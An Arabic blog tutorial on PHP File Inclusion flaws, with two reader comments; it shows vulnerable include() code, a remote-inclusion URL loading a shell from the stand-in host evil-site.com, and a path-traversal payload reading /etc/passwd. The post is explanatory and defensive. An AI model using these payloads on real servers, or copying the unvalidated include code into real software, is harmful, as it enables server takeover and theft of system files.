البرمجة الآمنة في لغة PHP مع File Inclusion

مدرج تحت قسم: دروس
4 أغسطس 2006

لقد تعرفنا على XSS و SQL Injection فـي دروس سابقة، واليوم سوف نتكلم عن ما هو اخطر من الاثنين وما يسمى File Inclusion.

وهذه الثغرات أخطر من XSS بـكثير، وخطرها ليس على المستخدم بـل على الـسيرفر، ممكن تكون أكثر خطوره من SQL Injection في بعض الاحيان.

طـريقة العمل ؟
هذه الثغرات تتواجد بكثره في اغلب برامج الـ PHP التي تعتمد على دوال ارفاق و استدعاء الملفات، حيث يقوم المهاجم بتغير مسار الملف الذي نريد استدعائه لاستدعاء ملف خبيث PHP Shell، حيث يعطي المخترق تحكم شبه كامل بالموقع احيانا و إذا كان المخترق من المحترفين فحينها سوف يسيطر على السيرفر كامل.

* لم تصادفني ثغرات من هذا النوع في برامج الـ ASP أو الـ JSP.

الدوال التي من الممكن وجود الثغره فيها.

include();
require();
include_once();
require_once();

التعامل مع الكود المصدري

انظر على الكود التالي.

include($_GET['page'].'.php');

هناك داله من الدوال الخطره التي تكلمنا عنها وهي include().

كما تلاحظ، يتم جلب اسم الملف المـراد ارفـاقه بالـكود من HTTP Request / GET، حـيث تكون وصلة الملف كـالتالي.

http://127.0.0.1/file.php?page=home

هنا يتم استدعاء الملف home.php حـسب كود PHP المكتوب اعلاه، لكن نلاحظ ايضا ان الزائر له حرية التحكم بمدخلات الداله. فيمكنه مثلاً استدعاء أي ملف PHP يريد على السيرفر، لكن الخطورة تكمن في استدعاء ملف من خارج السيرفر، أو من على السيرفر و يكون يحتوي على اكواد خبيثة.

مثل تلك الاكواد التي تساعد المخترقين بالسيطره على الموقع. r57، c99shell وغيرها من الشيلات.

انظر إلى الكود التالي.

Link :
http://127.0.0.1/file.php?page=http://evil-site.com/shell

Code :
include('http://evil-site.com/shell'.'.php');

وهكذا قضي علينا!

*توضيح هناك نوعان من File Inclusion، منها الـ Remote و منها الـ Local.

  1. Remote: التي تسمح باستدعاء ملفات من خارج الـسيرفر بحالة allow_url_fopen = On في ملف الـ php.ini.
  2. Local: هي التي تسمح باستدعاء ملفات عن السيرفر نفسه مثل /etc/passwd أو شيل مرفوع على شكل صورة بالمنتدى.

الـفرق بين Local و Remote يكون بمعطيات الداله الرئيسية، مثلاً لاحظ الكود التالي.

include('/inc/'.$_GET['page'].'.inc');

هنا تم تحديد المسار الذي سوف يستدعى منه الملف /inc/، وطبعاً الداله يوجد فيها ثغره و هي حرية المستخدم في تحديد الملف الذي يريد استدعائه، لكن ماذا يستفيد المهاجم؟ لا شيء! لهذا يضع مسارات داخل السيرفر ليتم استدعائها، مثلاً للتوضيح لا غير:

Link :
http://127.0.0.1/file.php?page=../../../../../../../etc/passwd

Code:
include('/inc/'.'../../../../../../../etc/passwd');

هنا يتم استدعاء الـ /etc/passwd من على السيرفر. أما %00 فهيه Null Char الذي يتجاهل ما بعده من امتدادات و يعمل فقط في حالة magic_quotes_gpc = Off في ملف php.ini.

وهذا تقريبا ما اريد ايـصاله من خلال هذا المقال، اتمنى ان لا يقع احد في هذه الاخطاء.

للكاتب ابراهيم بصه

  • Share/Bookmark

التعقيبات

  1. غير معروف

التعليقات (2) على ”البرمجة الآمنة في لغة PHP مع File Inclusion“

  1. مقاله مفيده اخي العزيز وفعلا ثغيره خطيرة يقع فيها الكثير

    يمكن تجنبها بعمل مصفوفه فيها اسماء الصفحات ومن ثم تمرير الاندكس للملف المراد بدلا من اسم الملف

    فتقوم الصفحه بالابحث عن الاندكس في المصفوفه ومقارنتها باسم الملف المقابل لها واستدعائه
    وشكرا

  2. سلآم ..

    آبدعت آخوي إبرآهيم ..

    وإذآذهبت إلي موآقع الثغرات ستجد كل يوم ثغره جديد في File Inclusion

    آرقـ تحيه ،،

أضف تعليقك




يمكنك استخدام الوسوم التالية في التعليق: <a href="" title=""> <abbr title=""> <acronym title=""> <b> <blockquote cite=""> <cite> <code> <del datetime=""> <em> <i> <q cite=""> <strike> <strong>


* حقول مطلوبة